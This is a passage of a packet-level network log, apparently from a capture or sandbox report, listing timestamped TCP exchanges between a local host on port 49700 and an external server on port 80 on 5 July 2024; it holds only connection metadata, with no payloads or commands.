Jul 5, 2024 06:23:15.927268982 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927274942 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927278996 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927294016 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927298069 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927306890 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927306890 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927325010 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927326918 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927342892 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927346945 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927352905 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927370071 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927371025 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927392006 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927393913 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927403927 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927422047 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927422047 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927433968 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927439928 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927448988 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927465916 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927470922 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927490950 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927490950 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927505016 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927514076 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927520037 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927531958 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927534103 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927546024 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927551985 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927567005 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927572012 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927587032 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927589893 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927603006 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927613020 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927614927 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927632093 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927632093 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927644968 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927650928 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927680016 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927680969 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927690029 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927706957 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927716970 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927716970 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927735090 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927742958 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927747011 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927763939 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927767992 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927776098 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927783012 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927803040 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927805901 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927840948 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927841902 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927853107 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927884102 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927891970 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927947044 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927958012 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927974939 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927984953 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.927988052 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.927997112 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.928004980 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.928016901 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.928018093 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.928034067 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.928045988 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.928047895 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.928062916 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.928066969 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.928083897 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.928092003 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.928093910 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.928107023 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.928122044 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.928229094 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.928242922 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.928260088 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.928265095 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.928275108 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.928287029 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.928287983 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.928303957 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.928307056 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.928317070 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.928330898 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.928359032 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.960177898 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.960191011 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.960215092 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.960228920 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.960242987 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.960252047 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.960269928 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.960304976 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.960362911 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.961136103 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.961157084 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.961179018 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.961188078 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.961221933 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.961272001 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.961282969 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.961299896 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.961309910 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.961318016 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.961328983 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.961334944 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.961359024 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.991636992 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.991741896 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.991744041 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.991746902 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.991760015 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.991765022 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.991770029 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.991776943 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.991782904 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.991790056 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.991822004 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.991858006 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.991863966 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.991874933 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.991883993 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.991889000 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.991899967 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.991924047 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.994263887 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.994271040 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.994312048 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.015546083 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.015552044 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.015562057 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.015635014 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.015670061 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.015676022 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.015695095 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.015701056 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.015712023 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.015717030 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.015742064 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.015904903 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.015937090 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.015943050 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.015974045 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.016030073 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.016036034 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.016041994 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.016047001 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.016052008 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.016077042 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.016091108 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.016730070 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.016782999 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.016788006 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.016793013 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.016836882 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.016844034 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.016850948 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.016863108 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.016868114 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.016885042 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.016899109 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.016922951 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.016927958 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.016964912 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.016990900 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.016995907 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017002106 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017007113 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017034054 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017056942 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017091990 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017106056 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017115116 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017118931 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017129898 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017134905 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017139912 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017144918 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017148018 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017153025 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017162085 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017167091 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017179012 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017183065 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017204046 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017220020 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017251015 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017256975 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017268896 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017304897 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017417908 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017422915 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017433882 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017438889 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017450094 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017455101 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017467022 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017472029 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017476082 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017479897 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017497063 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017515898 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017524004 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017529011 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017539978 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017544985 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017549992 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017554998 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017576933 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017590046 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017627001 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017669916 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017674923 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017709017 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017739058 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017744064 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017755032 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017760038 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017769098 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017774105 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017796040 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017810106 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017911911 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017919064 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017930031 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017935038 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017945051 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017960072 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017967939 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017971992 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017972946 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017980099 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.017992020 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.017992973 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018006086 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.018035889 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.018066883 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018073082 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018089056 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018095016 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018106937 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018112898 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018120050 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018120050 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.018126965 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018131971 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.018151999 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018155098 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.018157959 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018168926 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018170118 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.018177032 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018188953 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018197060 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.018225908 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.018392086 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018398046 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.018448114 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.054748058 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.054754972 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.054765940 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.054771900 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.054778099 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.054814100 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.054853916 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.054877043 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.054888964 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.054898977 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.054903984 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.054908991 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.054913998 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.054919958 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.054924011 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.054929018 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.054932117 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.054956913 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.054975986 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.083642960 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.083653927 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.083658934 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.083664894 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.083671093 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.083678007 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.083688021 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.083695889 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.083697081 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.083702087 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.083708048 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.083713055 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.083718061 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.083724022 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.083729982 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.083749056 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.083777905 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.105663061 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.105695009 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.105705023 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.105740070 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.105746031 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.105756044 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.105761051 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.105796099 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.105882883 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.105889082 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.105897903 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.105902910 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.105935097 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.105959892 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.105964899 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.105976105 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.105982065 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.106004000 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.106021881 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.106817007 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.106873989 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.106878996 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.106897116 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.106931925 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:16.106934071 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.106940985 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.106950998 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.106956005 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:16.106980085 CEST	49700	80	192.168.2.7	77.91.77.81
